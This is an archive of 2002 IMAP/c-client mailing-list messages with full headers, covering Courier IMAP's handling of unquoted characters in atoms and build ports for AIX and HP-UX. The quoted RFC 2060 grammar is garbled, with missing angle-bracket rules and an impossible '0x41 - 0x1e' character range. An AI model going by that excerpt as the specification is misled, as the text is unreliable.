Styblo Programmer Czech On Line, a.s. U nakladoveho nadrazi 8, 130 00 Praha 3, Czech Republic -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Mar 7 11:45:03 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Mar 2002 11:45:03 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g27Jj3TM000699 for ; Thu, 7 Mar 2002 11:45:03 -0800 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Mar 07 11:45:02 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g27Jj2mT021295; Thu, 7 Mar 2002 11:45:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g27JiGAf013948; Thu, 7 Mar 2002 11:44:16 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g27JfVnJ067168 for ; Thu, 7 Mar 2002 11:41:31 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Thu Mar 07 11:41:25 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g27JfOc6007495 for ; Thu, 7 Mar 2002 11:41:24 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id LAA05793; Thu, 7 Mar 2002 11:41:17 -0800 (PST) Message-Id: Date: Thu, 7 Mar 2002 11:31:43 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tomas Styblo Cc: c-client@u.washington.edu Subject: re: characters in quoted strings In-Reply-To: <20020307175603.GB4660@tripie> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 7 Mar 2002 18:56:03 +0100, Tomas Styblo wrote: > Our users connecting to the Courier IMAP server have passwords > with '[', ']', and '}' characters in them. > > C-client library sends arguments which contain these characters in plain > text, ie. not as quoted strings. This is correct. Those three characters are not ATOM_SPECIALS. From RFC 2060: atom ::= 1*ATOM_CHAR ATOM_CHAR ::= atom_specials ::= "(" / ")" / "{" / SPACE / CTL / list_wildcards / quoted_specials CTL ::= list_wildcards ::= "%" / "*" SPACE ::= quoted_specials ::= <"> / "\" In plain English, any graphic ASCII character (0x41 - 0x1e) except for these seven characters: ( ) { % * " \ may be in an unquoted atom. > Courier IMAP server accepts these characters only in quoted strings. This is incorrect. > So the question is - is c-client or the Courier IMAP server in violation > with RFCs ? It's a well-known old bug in Courier IMAP. The author of Courier IMAP has stated that he refuses to fix it. I gave up on him a long time ago. From pinedev@shivax2.cac.washington.edu Fri Mar 8 03:45:14 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Mar 2002 03:45:14 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28BjETM025422 for ; Fri, 8 Mar 2002 03:45:14 -0800 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Mar 08 03:45:13 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g28BjCmT011054; Fri, 8 Mar 2002 03:45:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28BiIEr067480; Fri, 8 Mar 2002 03:44:19 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28BePnJ112800 for ; Fri, 8 Mar 2002 03:40:25 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Mar 08 03:40:25 2002 -0800 Received: from tripie.tripie (bp.vol.cz [195.250.128.37]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g28BeNc6025326 for ; Fri, 8 Mar 2002 03:40:24 -0800 Received: (from trip@localhost) by tripie.tripie (8.11.6/8.11.6) id g28BeTT14779; Fri, 8 Mar 2002 12:40:29 +0100 Message-Id: <20020308114028.GA14012@tripie> Date: Fri, 8 Mar 2002 12:40:29 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tomas Styblo To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: characters in quoted strings In-Reply-To: References: <20020307175603.GB4660@tripie> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Disposition: inline X-Authentication-Warning: tripie.tripie: trip set sender to tomas.styblo@jet2web.cz using -f X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > So the question is - is c-client or the Courier IMAP server in violation > > with RFCs ? > > It's a well-known old bug in Courier IMAP. The author of Courier IMAP has > stated that he refuses to fix it. I gave up on him a long time ago. Thank you very much for your response. I understand why you do not want to patch c-client to fix this problem, which is not c-client's fault. But for us the obvious solution is to patch c-client to send these characters only in quoted strings. Have you considered to make some '--with-courier-bugs-workaround' compilation option ? -- Tomas Styblo Programmer Czech On Line, a.s. U nakladoveho nadrazi 8, 130 00 Praha 3, Czech Republic From pinedev@shivax2.cac.washington.edu Fri Mar 8 05:08:17 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Mar 2002 05:08:17 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28D8HTM027776 for ; Fri, 8 Mar 2002 05:08:17 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Mar 08 05:08:11 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g28D8APs004113; Fri, 8 Mar 2002 05:08:10 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28D6pkG032548; Fri, 8 Mar 2002 05:06:52 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28D48nJ046252 for ; Fri, 8 Mar 2002 05:04:08 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Fri Mar 08 05:04:07 2002 -0800 Received: from marfim.inf.ufsm.br (marfim.inf.ufsm.br [200.18.42.27]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g28D45re022102 for ; Fri, 8 Mar 2002 05:04:06 -0800 Received: (from nobody@localhost) by marfim.inf.ufsm.br (AIX4.3/8.9.3/8.9.3) id KAA12470 for c-client@u.washington.edu; Fri, 8 Mar 2002 10:02:31 -0600 Received: from 200.248.140.110 ( [200.248.140.110]) as user tapera@mailhost.inf.ufsm.br by marfim.inf.ufsm.br with HTTP; Fri, 8 Mar 2002 10:02:29 -0600 Message-Id: <1015603349.3c88e0951d0a1@marfim.inf.ufsm.br> Date: Fri, 8 Mar 2002 10:02:29 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tiago Fioreze To: c-client@u.washington.edu Subject: IMAP 2000 vs AIX4.3.3 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Authentication-Warning: marfim.inf.ufsm.br: nobody definir emissor para tapera@inf.ufsm.br utilizando -f X-Originating-IP: 200.248.140.110 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi !!! I have one doubt : I need to configure PHP + IMAP, but before I need to compile IMAP source code. The doubt : My server run AIX 4.3.3 and in the file Make file no have AIX 4.3.3, only : # a32 AIX 3.2 for RS/6000 # a41 AIX 4.1 for RS/6000 # aix AIX/370 (not RS/6000!!) What I make? Thanks in advance !!! Tiago Fioreze -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Mar 8 09:09:52 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Mar 2002 09:09:52 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28H9qTM032640 for ; Fri, 8 Mar 2002 09:09:52 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Mar 08 09:09:46 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g28H9jPs009552; Fri, 8 Mar 2002 09:09:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28H8cAf005182; Fri, 8 Mar 2002 09:08:38 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28H7FnJ047380 for ; Fri, 8 Mar 2002 09:07:15 -0800 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Mar 08 09:07:14 2002 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g28H7Ere029468 for ; Fri, 8 Mar 2002 09:07:14 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28H7ExY031435 for ; Fri, 8 Mar 2002 09:07:14 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Fri Mar 08 09:07:13 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g28H7Akx004056 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Fri, 8 Mar 2002 09:07:12 -0800 Message-Id: Date: Fri, 8 Mar 2002 09:07:08 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tomas Styblo Cc: c-client@u.washington.edu Subject: Re: characters in quoted strings In-Reply-To: <20020308114028.GA14012@tripie> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 8 Mar 2002, Tomas Styblo wrote: > Thank you very much for your response. I understand why you do not want > to patch c-client to fix this problem, which is not c-client's fault. Also because the author of Courier IMAP deliberately defies the published specification. He has stated his intention to force a change in the syntax of IMAP to comply with his idea of what the syntax should be. This is not an issue of working around an inadvertant problem which will eventually be fixed. As far as I'm concerned, it's a feature that Courier IMAP is broken, and it should stay broken until Courier IMAP is fixed to comply with the standard. > But for us the obvious solution is to patch c-client to send these > characters only in quoted strings. There is another obvious solution: don't run Courier IMAP, use some other IMAP server. As long as you run Courier IMAP, you will potentially have this problem with any IMAP client, including some that you won't get sources to. Courier IMAP can not be considered to be a serious player in the IMAP market until it complies with the standard. > Have you considered to make some > '--with-courier-bugs-workaround' compilation option ? No, I haven't. It's a slippery slope, and ultimately it will harm the standardization of the IMAP protocol. It's bad enough to have to make concessions to Netscape and Microsoft, but at least those concessions are for stupid behaviors which are nonetheless technically compliant with the specification. I realize that people like you are stuck in the middle. If I were you, I would seriously consider another IMAP server. If you really want the one-message/one-file type of format, consider the Cyrus server. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Fri Mar 8 15:02:59 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Mar 2002 15:02:59 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28N2wTM012371 for ; Fri, 8 Mar 2002 15:02:58 -0800 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Mar 08 15:02:58 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g28N2vmT029642; Fri, 8 Mar 2002 15:02:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28N1JkG017286; Fri, 8 Mar 2002 15:01:20 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28Mw8nJ089882 for ; Fri, 8 Mar 2002 14:58:08 -0800 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Mar 08 14:58:07 2002 -0800 Received: from rgminet2.oracle.com (rgminet2.oracle.com [148.87.122.31]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g28Mw7Ie030196 for ; Fri, 8 Mar 2002 14:58:07 -0800 Received: from rgmgw1.us.oracle.com (rgmgw1.us.oracle.com [138.1.191.10]) by rgminet2.oracle.com (Switch-2.1.4/Switch-2.1.0) with ESMTP id g28Mv5r27589; Fri, 8 Mar 2002 15:57:05 -0700 (MST) Received: from oracle.com (ababb-pc.us.oracle.com [130.35.180.218]) by rgmgw1.us.oracle.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id g28Mw6I09311; Fri, 8 Mar 2002 15:58:06 -0700 (MST) Message-Id: <3C89422A.793F8FC6@oracle.com> Date: Fri, 08 Mar 2002 14:58:50 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Babb To: Mark Crispin , MRC@cac.washington.edu Cc: c-client@u.washington.edu Subject: UofW IMAP Server on HP-UX v11.0 References: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------3601CC9C5797E81390AB5E15" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------3601CC9C5797E81390AB5E15 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, We are wanting to install the UofW IMAP Server on an HP-UX v11.0 server, but the makefile does not list HP-UX v11.0 as one of the platforms. Has anyone completed this yet, and if so were any changes to the makefile required. TIA Andrew --------------3601CC9C5797E81390AB5E15 Content-Type: text/x-vcard; charset=us-ascii; name="andrew.babb.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Andrew Babb Content-Disposition: attachment; filename="andrew.babb.vcf" begin:vcard n:Babb;Andrew tel;work:650-506-8978 x-mozilla-html:FALSE org:Oracle Corporation;System Technology Group adr:;;;;;; version:2.1 email;internet:andrew.babb@oracle.com title:Senior Member Technical Staff fn:Andrew Babb end:vcard --------------3601CC9C5797E81390AB5E15-- From pinedev@shivax2.cac.washington.edu Fri Mar 8 15:15:32 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Mar 2002 15:15:31 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28NFVTM012731 for ; Fri, 8 Mar 2002 15:15:31 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Mar 08 15:15:31 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g28NFVPs021934; Fri, 8 Mar 2002 15:15:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28NEEkG032876; Fri, 8 Mar 2002 15:14:14 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28NCTnJ117084 for ; Fri, 8 Mar 2002 15:12:29 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Mar 08 15:12:28 2002 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.19]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g28NCSc6007987 for ; Fri, 8 Mar 2002 15:12:28 -0800 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g28NCRnv002818 for ; Fri, 8 Mar 2002 15:12:28 -0800 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Fri Mar 08 15:12:26 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g28NCNkx008326 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 8 Mar 2002 15:12:26 -0800 Message-Id: Date: Fri, 8 Mar 2002 15:10:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrew Babb Cc: c-client@u.washington.edu Subject: re: UofW IMAP Server on HP-UX v11.0 In-Reply-To: <3C89422A.793F8FC6@oracle.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 08 Mar 2002 14:58:50 -0800, Andrew Babb wrote: > We are wanting to install the UofW IMAP Server on an HP-UX v11.0 server, but > the makefile does not list HP-UX v11.0 as one of the platforms. Has anyone > completed this yet, and if so were any changes to the makefile required. I suggest that you just try the HP-UX V10.0 port and if you don't get errors then you are fine. In general, the listing of a version on a port means "that version and later versions until superceded by another port." The HP-UX v10 ports exist because the earlier versions didn't build. From pinedev@shivax2.cac.washington.edu Fri Mar 8 18:02:18 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Mar 2002 18:02:18 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g2922ITM016899 for ; Fri, 8 Mar 2002 18:02:18 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Mar 08 18:02:17 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g2922GPs026554; Fri, 8 Mar 2002 18:02:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g29209Er037586; Fri, 8 Mar 2002 18:00:09 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g291wsnJ079236 for ; Fri, 8 Mar 2002 17:58:54 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Mar 08 17:58:53 2002 -0800 Received: from marfim.inf.ufsm.br (marfim.inf.ufsm.br [200.18.42.27]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g291wpc6008633 for ; Fri, 8 Mar 2002 17:58:53 -0800 Received: (from nobody@localhost) by marfim.inf.ufsm.br (AIX4.3/8.9.3/8.9.3) id WAA15866 for c-client@u.washington.edu; Fri, 8 Mar 2002 22:57:11 -0300 Received: from 200.248.140.110 ( [200.248.140.110]) as user tapera@mailhost.inf.ufsm.br by marfim.inf.ufsm.br with HTTP; Fri, 8 Mar 2002 22:57:09 -0300 Message-Id: <1015639029.3c896bf5afe32@marfim.inf.ufsm.br> Date: Fri, 8 Mar 2002 22:57:09 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tiago Fioreze To: c-client@u.washington.edu Subject: IMAP server on AIX 4.3.3 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Authentication-Warning: marfim.inf.ufsm.br: nobody definir emissor para tapera@inf.ufsm.br utilizando -f X-Originating-IP: 200.248.140.110 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all !!! I am needing to compile the IMAP2000 source code on an AIX 4.3.3 server, but the makefile does not list AIX 4.3.3 port. Somebody can help me ? Thanks in advance !!! Tiago Fioreze -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Mar 8 18:24:35 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Mar 2002 18:24:35 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g292OZTM017291 for ; Fri, 8 Mar 2002 18:24:35 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Mar 08 18:24:34 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g292OXPs027010; Fri, 8 Mar 2002 18:24:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g292NPEr016992; Fri, 8 Mar 2002 18:23:25 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g292MhnJ125660 for ; Fri, 8 Mar 2002 18:22:43 -0800 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Mar 08 18:22:42 2002 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g292Mgc6012153 for ; Fri, 8 Mar 2002 18:22:42 -0800 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g292Mgos014807 for ; Fri, 8 Mar 2002 18:22:42 -0800 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Fri Mar 08 18:22:40 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g292Mckx010509 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 8 Mar 2002 18:22:40 -0800 Message-Id: Date: Fri, 8 Mar 2002 18:19:15 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tiago Fioreze Cc: c-client@u.washington.edu Subject: re: IMAP server on AIX 4.3.3 In-Reply-To: <1015639029.3c896bf5afe32@marfim.inf.ufsm.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 8 Mar 2002 22:57:09 -0300, Tiago Fioreze wrote: >I am needing to compile the IMAP2000 source code on an AIX 4.3.3 server, > but the makefile does not list AIX 4.3.3 port. Somebody can help me ? Use the AIX 4.1 port (a41). There is not a separate port for every version. A new port is created only when there is some incompatibility in a new system that breaks the current port. From pinedev@shivax2.cac.washington.edu Sat Mar 9 07:33:00 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 9 Mar 2002 07:33:00 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g29FX0TM027764 for ; Sat, 9 Mar 2002 07:33:00 -0800 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Sat Mar 09 07:33:00 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g29FWxPs016071; Sat, 9 Mar 2002 07:32:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g29FQREr017150; Sat, 9 Mar 2002 07:26:27 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g29FOtnJ077568 for ; Sat, 9 Mar 2002 07:24:56 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Sat Mar 09 07:24:54 2002 -0800 Received: from mango.telerian.net ([195.188.42.141]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g29FOlZB027821 for ; Sat, 9 Mar 2002 07:24:53 -0800 Received: from [192.168.233.103] (ras_233_103 [192.168.233.103]) by mango.telerian.net (8.11.4/8.11.4) with ESMTP id g29FOi028305 for ; Sat, 9 Mar 2002 15:24:45 GMT Message-Id: Date: Sat, 9 Mar 2002 15:24:23 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Elvers To: c-client@u.washington.edu Subject: Mail header problem In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have the following message which c-client describes as TEXT/PLAIN, CHARSET=US-ASCII. Am I correct to assume that this is because this message header does not properly describe the HTML content or is there some other problem. It does not have a "Mime-Version: x.x" tag. I'm using imapd from IMAP-2000c on Solaris 8 with GCC, but have just download and shown the same issue with imap-2002.DEV.SNAP-0203071604. I'm using c-client from imap-2001a for my development work under Linux. I use pine 4.44 as my mail client and it treats this message as plain text - rather than filtering it, as it normally does with HTML messages. Outlook Express 6 seems to 'detect' the HTML content. Thanks for any comments. Regards Mark Return-Path: Received: via tmail-2000(13) for u2219; Fri, 8 Mar 2002 22:19:13 +0000 (GMT) Received: from localhost (localhost [127.0.0.1]) by mango.telerian.net (8.11.4/8.11.4) with ESMTP id g28MJB022444 for ; Fri, 8 Mar 2002 22:19:12 GMT Received: from mail.ision.net.uk [195.7.224.56] by localhost with POP3 (fetchmail-5.8.10) for xxxxxxxx@localhost (single-drop); Fri, 08 Mar 2002 22:19:12 +0000 (GMT) Received: by noman (mbox xxxxxxxx) (with Cubic Circle's cucipop (v1.31 1998/05/13) Fri Mar 8 22:19:11 2002) X-From_: daemon Fri Mar 8 21:27:09 2002 Received: from listserv.advfn.com 